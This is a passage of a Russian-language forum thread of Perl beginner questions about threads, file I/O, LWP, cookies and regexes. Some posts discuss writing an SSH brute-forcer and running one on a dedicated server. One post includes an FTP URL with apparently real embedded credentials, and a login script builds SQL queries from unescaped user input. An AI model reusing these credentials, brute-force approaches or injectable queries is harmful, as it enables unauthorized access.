Вход

Просмотр полной версии : [Perl] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 [6] 7

Pashkela
26.10.2009, 01:32
Еще вопрос, с получением и дальнейшей обработкой данных из потоков разобрался. Но, если в потоке идет не простейшая локальная математическая операция, но получение данных из интернета посредством сокетов например, то нарушается очередность записи данных в массив. Т.е. что-то парсится раньше и пишется не свою очередь. Получается, что данные как бы все есть, но разрозненные. Вопрос - как заставить писать данные в массив в порядке заданной очереди, а не в порядке времени физического получения ответа? Спасибо

PS: Перечитал весь топик, серьезно, похожая проблема была у .Slip, но с точностью до наоборот - у меня тут афигенная асинхронность, но нарушается очередь записи, а надо по порядку. Надеюсь на вас, античатовцы :)

krypt3r
26.10.2009, 07:52
Юзать хэш и затем отсортировать его по ключам

Pashkela
26.10.2009, 13:51
это-то понятно, выше мы рассмотрели пример ретурна числа, и возвращали через массив, а как сделать ретурн хеша из multithread функции без предварительных его записывания в массив-посредник? Чтобы вернуть чистый хеш с ключами с результатами работы всех потоков, помеченными ключиками и, соотвественно, легко разбирающимися. Спасибо.

krypt3r
26.10.2009, 14:00
Заполняем хэш и делаем в конце функции

return \%myhash;

Pashkela
26.10.2009, 14:10
#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;

$a = gets();
print $_, "\n" for @$a;
#print $a . "\n";

sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$res[$_] = $trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
$hash{$n} = $ii;
#print $ii . "\n";
}
#print $ii, "\n";
return \%hash
}
return \@res;
}


Относительно кода выше - как вернуть хеш, не так же ведь. И надо ли его шарить в мультитреде. Т.е. нужно, чтобы ключи у хеша были именно как в коде выше = $n. Только так потом можно будет идентифицировать данные

krypt3r
26.10.2009, 14:36
Ну если юзать расшаренный хэш, то

#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;
my %hash : shared = ();
#my $refhash : shared = \%hash;

$a = gets();
print $_, ' => ', $hash{$_}, "\n" for keys %hash;

sub gets {
$thr = 10;
$n = 0;
%res = ();
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
$hash{$n} = $ii;
}
}
}

Pashkela
26.10.2009, 14:41
спасибо, только чото не пойму - нет ретурна, что такое %res = (); и какую функцию несет

Но это то, что надо, так или иначе!!!! Сенкс большое

krypt3r
26.10.2009, 14:56
%res = (); - это пустой хэш )
Ретурны я убрал, т.к. хэш расшаренный и возвращать как бы ничего не надо. А вот пример без использования шарного хэша и с ретурнами

#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;

$a = gets();
print $_, ' => ', $a->{$_}, "\n" for sort {$a <=> $b} keys %$a;
#print $a . "\n";

sub gets {
$thr = 10;
$n = 0;
%res = ();
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
#$res[$_] = $trl[$_]->join;
%res = (%res, %{$trl[$_]->join});
#print $n, "\n";
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
$hash{$n} = $ii;
#print $ii . "\n";
}
#print $ii, "\n";
return \%hash
}
return \%res;
}

Pashkela
26.10.2009, 15:09
Великолепно! Оба варианта рабочие. Чем один лучше или хуже другого? Шара больше памяти жрет при большом потоке или ...?

GenTao
27.10.2009, 05:07
my @fuck = (1..10);
my @s = (18,19);

sub shit {

my(@x,@y) = @_;
print @x."\r\n";
print @y."\r\n";

}

shit(@fuck,@s);

system("PAUSE");



Выводит 12,0:(.Хотел вывести значения обоих массивов...

GenTao
27.10.2009, 05:37
Как осуществить запись в фаил?:

open(b,">s.txt);
print b "sam";
close(b);

В итоге пусто(

Pashkela
27.10.2009, 05:42
#!/usr/bin/perl
open(b,">>s.txt");
print b "sam";
close(b);

GenTao
27.10.2009, 05:51
хмм,запись заработала,а вот чтение хромает:

open(b,"<s.txt");
print b STDOUT; # по всякому уже))разве что в другой фаил копирнуть могу,но на #консольку хотел
close(b);

Pashkela
27.10.2009, 06:12
#!/usr/bin/perl
open(b, "<", "s.txt");
while(<b>) {
chomp;
print $_ . "\n";
}

Spyder
27.10.2009, 06:38
chomp;
print $_ . "\n";
0_o

krypt3r
27.10.2009, 07:58
my @fuck = (1..10);
my @s = (18,19);

sub shit {

my(@x,@y) = @_;
print @x."\r\n";
print @y."\r\n";

}

shit(@fuck,@s);

system("PAUSE");



Выводит 12,0:(.Хотел вывести значения обоих массивов...


#!/usr/bin/perl

use strict;
use warnings;

$\ = "\n";
my @fuck = (1..10);
my @s = (18,19);

sub shit {
my ($x, $y) = @_;

print join ', ', @$x;
print join ', ', @$y;
}

shit (\@fuck, \@s);

bleeep
27.10.2009, 23:40
Подскажите как осуществлять поиск не в переменной $_ ?Допустим я открыл дескриптор файла, поместил содержимое файла в массив затем его преобразовал в строку и уже в этой строке как осуществить поиск?Постоянно присваивать переменной $_ ??? А если искать не в скаляре а в массиве?Так можно?))
Уже разобрался только не получается замена слова в текстовом файле((((
#!/usr/bin/Perl -w open (FILE,">>text.txt")||die "error $!"; @filetxt=<FILE>; $file=join ('',@filetxt);chomp $file; $file=~s/.*are.*/was/; print FILE $file; close(FILE);
В чем тут проблема???

Kaimi
28.10.2009, 00:59
Попробуй так

open(F, "<file.txt") || die $!;
undef $/;
my $file = <F>;
close F;

$file =~ s/.*are.*/was/;

open(F, ">file.txt") || die $!;
print F $file;
close F;

bleeep
28.10.2009, 21:35
Спасибо))Получилось, подскажи, а что за переменная $/ ? и что делает функа my?))

Kaimi
28.10.2009, 21:37
http://www.perl.com/doc/manual/html/pod/perlvar.html
http://perldoc.perl.org/functions/my.html

GenTao
03.11.2009, 17:57
C:\>perl -e " for (1..5) { print 'X'.\"\r\n\" x 2; } "
X

X

X

X

X

Как сделать так,чтобы перл в ряды всё это в колонки выводил ?) Такой ощущение,что оператор х игнорируется,потому,что если убрать \r\n,то работает,но всё в однц строчку пишет соответственно.

Kaimi
03.11.2009, 18:05
А какой вывод ты хочешь получить то?

GenTao
03.11.2009, 18:17
Спасибо))Получилось, подскажи, а что за переменная $/ ? и что делает функа my?))

Если непонятно: оператор my() (системная функция) объявляет переменную и устанавливает её в лексической области видимости.
Лексическая область видимости - это временная память,куда сохраняются имена переменных.Значения же переменных обычно сохраняются в стеках.
В общем,переменные лексической области видимости называют в других языках программирования как локальные,но,в отличие от других языков, в PERL пакетные переменные(глобальные) и локальные(пеерменные лексической области видимости) не конфликтуют между собой хотя бы из-за лексемы ::

ЗЫ: Знаю,что наговорил много лишнего,но тем не менее...

GenTao
03.11.2009, 18:18
А какой вывод ты хочешь получить то?

Всмысле какой ? в STDOUT(на экран).Просто использовние perl -e меня меньше напрягает,чем открывать закрывать фаил...это что-то вроде теста.

Kaimi
03.11.2009, 18:20
В смысле мне непонятно:

Как сделать так,чтобы перл в ряды всё это в колонки выводил ?)

GenTao
03.11.2009, 18:21
ааа...:))))Ну,в такой вид:


х ... ... ...
х
х
х
х

... я пометил следующую колонку:)

Kaimi
03.11.2009, 18:24
Вроде того?
perl -e "for(1..5) {print $/ unless $_ % 1; print 'X ' x 2}"

GenTao
03.11.2009, 19:47
Оп,работает...а почему мой не работает не пойму.Всё же правильно вроде.

ЗЫ: А что такое print $/ unless $_ % 1; ?

Kaimi
03.11.2009, 20:06
Да это я что-то не то сделал, "unless $_ % 1;" можно убрать. Просто делает перевод строки каждую итерацию.

krypt3r
03.11.2009, 21:12
perl -le "print 'X ' x 2 for 1..5"

GenTao
04.11.2009, 00:30
Бле...или я тупой,или не понимаю,почему у тебя работает наоборот...разве так можно ?... как это вообще работает ?!

perl -e "(for 1..5) { print 'X ' x 2 }" это я ещё понимаю...print оператор в теле цикла for...

krypt3r
04.11.2009, 01:34
В перле можно :) Вместо кода

for (1..5) { print 'X ' x 2 }

можно писать

print 'X ' x 2 for 1..5;

Такую вещь можно провернуть и с while, if, unless, until, foreach. Непривычно, конечно, для новичков

gisTy
06.11.2009, 23:36
В перле можно :) Вместо кода

for (1..5) { print 'X ' x 2 }

можно писать

print 'X ' x 2 for 1..5;

Такую вещь можно провернуть и с while, if, unless, until, foreach. Непривычно, конечно, для новичков
ну да, а можно print 'X'x10 :D

krypt3r
07.11.2009, 18:05
gisTy, читайте выше, что требовалось

Vlad&slav
07.11.2009, 18:44
у нас 3 файла в одном в столбик одни слова в другом в столбик другие, надо для каждого слова из первого дописать через звёздочку каждое слово из второго и всё получившееся записать в третий фаил

#!/usr/bin/perl
my $a = '1,txt'; # c тем к чему приписываем
my $b = '2.txt'; # c тем что приписываем
my $w = 'end.txt'; # куда всё запишится

open(log,>>$w);
while($a)
{
print log .....;
}
close(log);

я перл не знаю )

GenTao
07.11.2009, 21:56
Как соединиться с сервером (google.ru,80 например) без использования сокетов ? Геморрно писать это по памяти ) Через ООП можно как-то,но я пока не понимаю,как юзать...пример всё равно нужен(.

Pashkela
07.11.2009, 22:06
#!/usr/bin/perl
use LWP::Simple;
$content = get("http://google.ru/");
die "Couldn't get it!" unless defined $content;
print $content;

GenTao
07.11.2009, 22:34
Кул...респект Пашке.А LWP::Simple - это пакет или модуль ? Извини за глупый вопрос. И есть ли где-то описания модулей на русском ?

Pashkela
07.11.2009, 22:53
http://www.opennet.ru/base/dev/perl_lwp.txt.html

GenTao
08.11.2009, 01:33
А как принять пользовательский ввод от пользователя с консоли,чтобы в метод get() подставлялась переменная с переданным значением ?

Например,есть тот же код:



#!/usr/bin/perl

use LWP::Simple;

$content = get("http://google.ru");

print $content;

system("PAUSE");

Pashkela
08.11.2009, 02:05
#!/usr/bin/perl
use LWP::Simple;
print "Enter URL:\n";
$choice = <STDIN>;
chomp $choice;
$content = get($choice);
die "Couldn't get it!" unless defined $content;
print $content;

eLWAux
08.11.2009, 02:20
$choice = <STDIN>;
chomp $choice;
chomp($choice = <>);

GenTao
08.11.2009, 02:24
Пасип большое,Pashkela:)

GenTao
08.11.2009, 02:36
Такая проблема:

Есть,к примеру,4 функции,вычисляющие сумму,разность,деление и вычитание от двух аргументов.Объявил все функции в модуле.Как теперь получить к ним доступ из пакета (а также переменным в каждой функции) ? Нужен рабочий пример.Вместо реальных функции можно использовать гипотетические - (sum,del и т.д.).
Если я объявляю,скажем,переменную (обычную) в модуле,скажем,KE.pl,а в исполняемом скрипте использую директиву use,то :: можно не использовать,а сразу использовать переменную как лексическую(как будто бы модуля и вовсе нет...).А когда же тогда использовать :: ?

Kaimi
08.11.2009, 13:34
http://www.intuit.ru/department/pl/perl/class/free/13/

GenTao
08.11.2009, 17:17
Создал модуль W.pm:


package S;

sub pr {

my ($x,$y) = @_;
$z = $x*$y;
return $z;

}

1;


Затем - фаил w.pl:



use W;

$obj = S->pr(5,9);
print $obj;



Вернуло 0.Почему ?

Kaimi
08.11.2009, 17:48
S::pr(5,9)

svesve
08.11.2009, 20:26
В LWP::UserAgent при использовании проксика надо будет использовать $browser->proxy(['http']=>"http://".$proxy_addr."/"); ???

$proxy_addr - это я так понимаю адрес прокси, но как быть если прокся например на порту 3128.
товишь получается при использовании проксика надо будет использовать $browser->proxy(['http']=>"http://212.212.212.1:3128/"); ???

Pashkela
08.11.2009, 20:27
Прокси лучше юзать с сокетами, имхо

svesve
08.11.2009, 20:36
ну а если через UA?? а то переписывать весь скрипт вкорне не охото

Pashkela
08.11.2009, 20:42
http://forum.antichat.ru/showthread.php?t=20299

Pashkela
10.11.2009, 05:03
Вопрос, фиг знает как - один аллах ведает, но таки заставил работать

Net::SSH::W32Perl - аналог Net::SSH::Perl

под activeperl под виндой, но:

- заходит, только если выставить

my $ssh = Net::SSH::W32Perl->new (
$host,
interactive => 1,
....

т.е. ввод пароля вручную через консоль, любые попытки автологина жестко пресекаются и пишет Permission denied и прочее. Много, очень много читал про

Net::SSH::Perl::Auth::KeyboardIn

причиндалы есть, но не помогает. Кто в курске - подскажите плз, как все таки ввести автоматически пароль

Spyder
10.11.2009, 05:37
Он у тебя просит ввести пароль через STDIN ?

Pashkela
10.11.2009, 05:40
ага, если interactive => 1 или в файле AuthMgr.pm закоментировать строчку

next unless $auth->enabled;

паблик ключа на компе нет, пишу брут, а не клиент

Spyder
10.11.2009, 05:45
А если писать на IO::Socket ?

Pashkela
10.11.2009, 05:46
SSH доступ на сокетах? Даже не видел такого в гугле. Есть пример? Там же тьма-тьмущая всякого, чтобы вообще SSH работало - начиная от crypt-des и кончая другими ужасами

biophreak
10.11.2009, 15:24
Хм, а на чем по-твоему SSH работает...я всегда думал, что поверх TCP?
Возьми доку по протоколу и пиши на сокетах...работать будет быстрее, да еще можешь реализовать то, чего нету в модулях :)

sint
15.11.2009, 07:38
Драсьте, я новичок в Perl...
Ни как не могу нописать прокси серва для рабочей танции *nix.
(пробовал использовать wwwlib (или libwww - не помню) - не осилил)

Идея такая:
Прокси(как Daemon) берет весь трафик
и работает с ним
через цепочку прокси...
так же обратно...

На всяких форумах писали что это делается просто, но на ипримере ни кто не смог показать.
Заранее спазибо!

sint
15.11.2009, 09:50
Чё "виртуально" ни кто не знает???

winflip
15.11.2009, 17:48
Привет ачат. У меня есть объект класса LWP::UserAgent. Скажите, как мне используя метод класса get(не post, не request) передать cookie, а по возвращение результата достать другие cookie

biophreak
16.11.2009, 10:05
Ну просто вставь руками в запрос, что-т типа:

$resp = $ua->get($url,
'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language' => 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'windows-1251,utf-8;q=0.7,*;q=0.7',
'Connection' => 'keep-alive',
'Keep-Alive' => '300',
'Cookie' => 'id=12345'
);

Поулчать так же, парси ответ на заголовок Cookie =)
Это самое простое решение.

winflip
16.11.2009, 16:19
Ну это я видел, когда гуглил, а вот как получить?
Поулчать так же, парси ответ на заголовок Cookie =)
А как заголовки спарсить?

Pashkela
16.11.2009, 16:25
юзать сокеты

Kaimi
16.11.2009, 17:10
А как заголовки спарсить?

Если чисто кукисы, то
$ua = new LWP::UserAgent;
print $ua->get('http://r0.ru/')->header('Set-Cookie');

Если все заголовки, то
print $ua->get('http://r0.ru/')->headers->as_string;

winflip
16.11.2009, 18:42
Спасибо, я вас верил)))

winflip
17.11.2009, 17:29
Скажите, как отправлять переменные GET? Вот так:
my $response = $ua->get('http://example.net/raskopki/send.php?outurl=http://eaxmple.net/raskopki/response.pl&loadurl=http://example.net/raskopki/picture.jpg',
'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language' => 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'windows-1251,utf-8;q=0.7,*;q=0.7',
'Connection' => 'keep-alive',
'Keep-Alive' => '300');
Вроде не правильно, или всё таки правильно? В том дело, что тут в качестве переменных выступают url адреса

krypt3r
17.11.2009, 17:54
Вроде правильно, если нет ошибок синтаксиса. Если сомневаетесь, вооружитесь снифером и проверьте, те ли заголовки отправляет ваш скрипт

biophreak
17.11.2009, 22:51
Проверь получаемый статус.

winflip
17.11.2009, 23:25
Да не в этом ошибка. Разобрался

[Online]
19.11.2009, 22:26
Кто подскажет мне 2 вопроса ?)
Как вывести все эл-ты массива ?
И нужен скрипт пхп для проверки пр)

krypt3r
19.11.2009, 23:03
Как вывести все эл-ты массива ?
Например

print "@arr\n";
print join ', ' => @arr;
print for @arr;



И нужен скрипт пхп для проверки пр)

Задайте вопрос в соответствующей теме либо поищите в "Полезных скриптах"

intNet
21.11.2009, 19:34
Как отсюда вычленить имя хоста? Своя регулярка не пашет, хз почему:

$akk = "ftp://Mosbuild:A_coQd2X@ftp.ite-expo.ru";
if($akk =~ /\@[^ ]*/) {print "$1\n";}

Pashkela
21.11.2009, 19:47
/^ftp:\/\/?(.*):(.*)\@(.*):(\d+)/i

чтобы узреть регулярку нажми quote

rdrule
21.11.2009, 19:50
Как отсюда вычленить имя хоста? Своя регулярка не пашет, хз почему:

$akk = "ftp://Mosbuild:A_coQd2X@ftp.ite-expo.ru";
if($akk =~ /\@[^ ]*/) {print "$1\n";}


my $akk = "ftp://Mosbuild:A_coQd2X\@ftp.ite-expo.ru"; #или брать в одинарные кавычки
if($akk =~ /\@[^ ]*/) {print $&, "\n";}

intNet
21.11.2009, 21:32
Уже разобрался, всё оказалось предельно просто.
Спасибо всем.

winflip
23.11.2009, 23:51
Привет ачат. Я опять про LWP. Сори если надоел, но почему при редиректе(внешнем) теряются cookie, которые просит установить сервер до редиректа. Например:
my $ua = LWP::UserAgent->new;
my $response = $ua->get("http://www.liex.ru/".$link,
'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language' => 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'windows-1251,utf-8;q=0.7,*;q=0.7',
'Connection' => 'close');
my %cookies = $response->header('Set-Cookie');
Вместо $link можно поставить winflip.htm. Когда я работал с сокетами выходило двое кук JSESSIONID и referral, а теперь токо JSESSIONID, а мне больше referral нужен. В общем помогите.

winflip
24.11.2009, 22:00
Мда.. Недочитал))))
$ua = LWP::UserAgent->new( %options )
This method constructs a new LWP::UserAgent object and returns it. Key/value pair arguments may be provided to set up the initial state. The following options correspond to attribute methods described below:

KEY DEFAULT
----------- --------------------
agent "libwww-perl/#.###"
from undef
conn_cache undef
cookie_jar undef
default_headers HTTP::Headers->new
local_address undef
max_size undef
max_redirect 7
parse_head 1
protocols_allowed undef
protocols_forbidden undef
requests_redirectable ['GET', 'HEAD']
timeout 180
The following additional options are also accepted: If the env_proxy option is passed in with a TRUE value, then proxy settings are read from environment variables (see env_proxy() method below). If the keep_alive option is passed in, then a LWP::ConnCache is set up (see conn_cache() method below). The keep_alive value is passed on as the total_capacity for the connection cache.

papillon
28.11.2009, 19:03
Здрасте, вам. Я решил начать изучать (решительно) Perl. Но вот только,я не как не могу разобраться в нем. Прошу помощи у умов. Начну с начала. Во первых у меня windows xp, скачал книгу "изучаем perl", установил программу "Perl express 2.4.5". Но в книге по ходу скрипты которые прога не понимает. По этому устанол другую програму "ActivePerl-5.10.1.1006-MSWin32-x86-291086.msi". Ну вобщем я ее даже запустить не смог.
Я так понимаю тема для новичков, по этому прошу не смеяться.
И вообще подскажите как начать изучения языка с нуля. Какие книги нужны, компиляторы, с чего наченали Вы?
Буду очень благодарен.

winflip
28.11.2009, 20:30
Сразу на заметку Perl - не компилятор, а интерпретатор.
Лично у меня на windows стоит indigoperl.(indigostar.com кажись).
А "библией" по perl является знаменитая книга http://www.books.ru/shop/books/11085

ixtor1
28.11.2009, 20:42
Здрасте, вам. Я решил начать изучать (решительно) Perl. Но вот только,я не как не могу разобраться в нем. Прошу помощи у умов. Начну с начала. Во первых у меня windows xp, скачал книгу "изучаем perl", установил программу "Perl express 2.4.5". Но в книге по ходу скрипты которые прога не понимает. По этому устанол другую програму "ActivePerl-5.10.1.1006-MSWin32-x86-291086.msi". Ну вобщем я ее даже запустить не смог.
Я так понимаю тема для новичков, по этому прошу не смеяться.
И вообще подскажите как начать изучения языка с нуля. Какие книги нужны, компиляторы, с чего наченали Вы?
Буду очень благодарен.
также инетересен вопрос,а если у меня 7 то тоже самое все абсолютно подойдет?papillon плис напишишь в пм если у тебя получилось :rolleyes: парни все также на 7..

krypt3r
28.11.2009, 21:03
Читайте кэмел-бук и другие книги.

anubis666
29.11.2009, 14:59
Здравствуйте помогите пожалуйста как с помощью unlink удалить все файлы в директории которые содержат в имени символы avi,mpeg,flv,jpg?

krypt3r
29.11.2009, 15:45
Что-то в этом роде

opendir (...);
while ($file = readdir(...)) {
unlink $file if $file =~ /\.(avi|mpeg|flv|jpg)$/;
}
closedir (...);

TheSoul
29.11.2009, 15:54
запускай его в папке где их надо удалить.

#!/usr/bin/perl -w

@rash = ('jpg', 'mpeg', 'avi', 'flv');

foreach $file (@rash){unlink <*.$file>;}

winflip
01.12.2009, 20:53
Скажите плиз. Модуль Net::OSCAR ещё живой? :confused: А то может после 101 смены протокола ICQ он и вовсе нерабочий :mad: . Собственно авторизация и принятие сообщений работает, а вот отправка не хочет:
use CGI::Carp qw(fatalsToBrowser);
print "Content-Type: text/html\n\n";
use Net::OSCAR qw(:standard);
$uin="сюда я вписываю юин";
$password="Здесь пароль";
sub im_in {
my($oscar, $sender, $message, $is_away) = @_;
print "[AWAY] " if $is_away;
$oscar->signoff;
}
$oscar = Net::OSCAR->new();
$oscar->set_callback_im_in(\&im_in);
$oscar->signon($uin, $password);
$oscar->send_im('Здесь юин получателя', 'fnjh');
while(1) {
$oscar->do_one_loop();
}

anubis666
04.12.2009, 15:47
Здравствуйте!помогите пожалуйста :D .
#!d:/Perl/bin/perl.exe
use DBI;
use CGI qw(:standart :cgi);
use CGI::cookie;
use CGI::Carp qw(fatalsToBrowser);
######################################
print "Content-Type: text/html\n\n";
my $user = param('user');
my $pass = param('pass');
my $chanel = param('chanel');
######################################
my $sql = DBI->connect('DBI:mysql:database=chanel;host=localhost' , 'логин', 'пароль') || die $sql::errstr;
######################################
$result = $sql->prepare("SELECT users FROM chanel WHERE users='$user'");
$result->execute();
$result2 = $sql->prepare("SELECT pass FROM chanel WHERE pass='$pass'");
$result2->execute();
$result3 = $sql->prepare("SELECT chanel FROM chanel WHERE chanel='$chanel'");
$result3->execute();
######################################
my $result_user = $result->fetchrow_hashref();
my $result_pass = $result2->fetchrow_hashref();
my $result_chanel = $result3->fetchrow_hashref();
######################################
$cook = new CGI::Cookie("-name => admin_chanel,
-value => 666,
-expires => +3M,
-domain => 10.33.195.248,
-path => /cgi-bin
-secure => 1
");
######################################
$user2=$result_user->{users};
$pass2=$result_pass->{pass};
$chanel2=$result_chanel->{chanel};
if(($user == $user2)&&($pass eq $pass2)&&($chanel eq $chanel2))
{print header(-cookie=>$cook);
}
else
{print "Prover`te dannii";
}
$sql->disconnect();

Значит суть проблемы такова что когда пользователь ввёл логин,пароль и название канала(и эти данные проверились в бд)то куки не создаются.(почему??),и в логах апача появляется сообщение [Fri Dec 04 14:33:44 2009] [error] [client 10.33.195.248] [Fri Dec 4 14:33:44 2009] login.pl: DBI::db=HASH(0x1bca77c)->disconnect invalidates 3 active statement handles (either destroy statement handles or call finish on them before disconnecting) at D:/wamp/bin/apache/Apache2.2.11/cgi-bin/login.pl line 42., referer: http://10.33.195.248/page.php?3 (42 строка это $sql->disconnect(); ) в чем проблема??

zifanchuck
05.12.2009, 18:01
Хай всем)) начал учить понемногу перл. вообщим вот вопрос как сделать чтобы вместо 1e+050 выводило число. там оно большое должно быть

Spyder
05.12.2009, 18:05
use bigint попробуй

krypt3r
05.12.2009, 20:01
use Math::BigInt;
my $n = Math::BigInt->new (1e+050);
print $n;

[none]
07.12.2009, 23:01
Какбэ нужен пример скрипта, не могу понять как реализовать следующие, вот появилась на форуме месага по адресу htssp://ololo.forum/post11 как сделать так что бы текст месаги записывался в фаил, как вообще реализовать что бы каждые например 5 сек проверялось на наличе нового сообщения и при его появлении оно записывалось.....карочэ умельцэ запостите чего-нибудь)

Spyder
08.12.2009, 04:34
Какбэ надо читать книги/статьи по перлу
Если некогда читать, могу за 20$ написать тебе скрипт

Если нет денег, иди читать книги, вот когда будут у тебя конкретные вопросы, тогда и приходи

LStr1ke
08.12.2009, 09:56
Хоть написал бы адрес форума. Или в личку кинь

[none]
08.12.2009, 10:57
Не думаю что такое 20$ стоит, спудер ты меня дуришь).LStr1ke зачем тебе форум ? для примера любой бы сгодился....зачем мне себя мучать,
если кто-то может помочь тут ! (; вот понадобилось, обратился, не помогут ну тогда уж сам буду... хее

Spyder
08.12.2009, 20:31
Не думаю что скрипт в 20 строк кода, причем элементарная работа с LWP::Simple и регулярками, может запутать человека, который знает основные принципы программирования на Perl

[none]
09.12.2009, 12:15
знать то знаю, практикэ нет,это будет моя первая программа (:

winflip
09.12.2009, 15:25
Я хочу написать простенький icq бот на perl. Скажите какой модуль использовать, Net::OSKAR ещё работает после изменений в протоколе? А то у меня метод отправки сообщения не работает

admex
09.12.2009, 16:53
как можно реализовать работу с CORBA из perl? Информации в инете совсем нет... :confused:

Kaimi
09.12.2009, 17:46
как можно реализовать работу с CORBA из perl? Информации в инете совсем нет..

Совсем, совсем?
http://search.cpan.org/search?query=corba&mode=all

admex
09.12.2009, 18:03
тогда лучше на Perl писать из под linux?

admex
09.12.2009, 18:04
потому что не все модули, ссылку на которые ты мне дал устанавливаются на ActivePerl

LStr1ke
09.12.2009, 18:28
А в ручную не установить?

Pashkela
09.12.2009, 18:33
http://xpoint.ru/know-how/Perl/UstanovkaModuley?comments

или просто запустить cmd, перейти в c:\activeperl\bin\ и набрать cpan

admex
09.12.2009, 18:36
о! пасиба=)

anubis666
09.12.2009, 22:35
как написать демон perl на windows? :confused:

Kaimi
09.12.2009, 22:40
Берешь любой скрипт и используешь
http://search.cpan.org/~msergeant/PPerl-0.25/PPerl.pm

winflip
09.12.2009, 23:24
Скажите как написать на perl простейшего icq бота с помощью модуля cpan, чтобы была отправка сообщений((((

anubis666
09.12.2009, 23:36
Берешь любой скрипт и используешь
http://search.cpan.org/~msergeant/PPerl-0.25/PPerl.pm
а есть другие варианты? просто этот у меня не компилится..

budden
11.12.2009, 16:47
Не мог бы кто-нибудь, знакомый с перлом, набросать скрипт, выполняющий 3 функции:

1) get запрос к урлу1.
2) post запрос к урлу2 с указанной строкой.
3) get запрос к урлу3.

Все запросы идут на 1 сайт, и важно, чтобы была поддержка куков - т.е. они при каждом запросе посылались, а читались бы из файла или прямо из тела скрипта (т.к. они постоянны,я их руками забью).

Большое спасибо!

gkristall
14.12.2009, 03:21
как прикрутить curl 0_O

krypt3r
14.12.2009, 11:55
budden

perldoc LWP::UserAgent
perldoc HTTP::Request::Common

и так далее

Spyder
20.12.2009, 14:24
defined ?

Spyder
20.12.2009, 14:38
хз, под винду я пользовался UltraEdit

krypt3r
21.12.2009, 14:51
Ошибка тут

sub f_parser {
our @link;
my($tag, %links) = @_;
if ($tag eq 'a') { push(@link, $links{'href'}) };
}

zeppe1in
21.12.2009, 14:52
пишет же что скобочку где то не закрыл.

if ($tag eq 'a') { push(@link, $links{'href'}) ;

Fepsis
23.12.2009, 13:53
Здравствуйте..!!!

Перл не так давно начал юзать, поэтому коли что не так не обессудьте... :rolleyes:

Решил переписать несколько своих ПХП-шных скриптов под АктивПерл... Вот вопрос:
Нужно на сайт с кодировкой UTF-8, закинуть русскоязычное сообщение... И в общем то всё работает, сообщение уходит, но... Проблемы с кодировкой... В ПХП скрипте решалось это так:

$mess = iconv('Windows-1251', 'UTF-8', $mess);

но в АктивПерл нет встроенной iconv, хотя говорят, что можно поставить, но это в крайнем случае... Мне бы хотелось обойтись без установки доп модулей (если возможно, конечно)

Как пытался решить проблему:

1)
use utf8;
.....
utf8::encode($mes);


2)
use Encode;
.............
$mes = encode('utf8', $mes);

Ни один из способов не проканал.. (

Есть ли какие варианты решения данной траблы..?! Желательно без установки доп модулей на Актив Перл...

krypt3r
23.12.2009, 14:14
Юзайте функцию from_to модуля Encode. И почитайте тут - http://www.nestor.minsk.by/sr/2008/09/sr80902.html

Pashkela
23.12.2009, 14:29
Только что на винде специально проверил - работает:

use Encode;
open( FILE, ">>" . "123.txt" );
$mes = "Привет";
Encode::from_to($mes, 'windows-1251', 'utf-8');
print FILE $mes . "\n";
close(FILE);

MiruMir
23.12.2009, 14:36
Ребята у меня такой вопрос - Брут на дэдике - регулярно выскакивает табличка "Удалённый рабочий стол отключен" как её вырубить чтоб она не появлялась , а то на автомат не как не поставить , приходится постоянно кликать ОК , что бы брутить дальше иначе весь процесс тормазиться !

restart_05
24.12.2009, 15:45
как можно закодировать $text = "Текст";

krypt3r
24.12.2009, 19:34
Обфусцировать

w_2k
25.12.2009, 01:50
Доброго времени суток!) Вот пишу скрипт, обрабатывающий определенным образом инет страницу(указываем урл). Суть проблемы в том, что я не знаю какой модуль использовать для парсинга страниц? И что делать, например, с сылками вида www.site.ru/page1/ , где не указан конкрентный файл?

phpdreamer
25.12.2009, 02:04
не экстрасенсы мы....

Osip
25.12.2009, 03:33
fgets? preg_match? LoL

Spyder
25.12.2009, 14:27
w_2k, http://www.citforum.ru/internet/perl/regexp/

Osip, ты наркоман челе?

w_2k
25.12.2009, 16:13
Как выбрать нужную мне инфу я понял, я имел ввиду как подключится к странице, что бы ее можно было обрабатывать... Максимум что я использовал это open FILE "file.htm"...

krypt3r
25.12.2009, 16:15
perldoc LWP::UserAgent

Spyder
25.12.2009, 16:23
LWP::Simple хотя бы

1NtR0
29.12.2009, 02:15
Подскажите как в перле сделать preg_match_all ?
Вот нужно переписать на Perl:

preg_match_all('/qwe[0-9]{1,2}asd/ims', $content, $m);
natsort($m[0]);
$p = array_unique($m[0]);
sort($p);

Спасибо.

Kaimi
29.12.2009, 02:34
Подскажите как в перле сделать preg_match_all ?


$str =~ /regexp/g

j0ker13
29.12.2009, 07:56
$str =~ /regexp/g
a ne tak?
@arr=$str=~ /regexp/g
tam zhe massiv)

anubis666
30.12.2009, 00:06
Здравствуйте,помогите пожалуйста с постраничной навигацией)значит так.есть таблица VIDEO в ней есть поле VIDEO так вот чтобы получить данные из поля я использую скрипт ("
